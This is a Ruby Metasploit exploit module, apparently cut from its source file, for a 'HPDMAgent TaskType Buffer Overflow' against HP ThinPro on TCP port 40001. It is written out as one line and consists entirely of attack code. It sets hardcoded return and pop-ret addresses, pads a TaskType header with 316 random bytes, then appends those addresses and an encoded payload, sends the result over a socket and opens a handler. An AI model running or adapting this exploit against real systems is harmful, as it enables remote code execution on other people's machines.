Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'HPDMAgent TaskType Buffer Overflow', 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x0a\x0d\xff", }, 'Platform' => 'linux', 'Targets' => [ ['HP ThinPro', { 'Ret' => 0x0810093f, 'PopRet' => 0x08052632, 'StrObj' => 0x0811B0A4, }], ], 'DefaultTarget' => 0)) register_options([ Opt::RPORT(40001) ], self.class) end def exploit connect() exdata = "TaskType:" + Rex::Text.rand_text_alpha(316) exdata += [target['PopRet']].pack('V') exdata += [target['StrObj'] - 0xC].pack('V') exdata += [target['Ret']].pack('V') exdata += payload.encoded exdata += "\r\nContent-Length: 1\r\n\r\n\r\n" sock.put(exdata) handler() disconnect() end end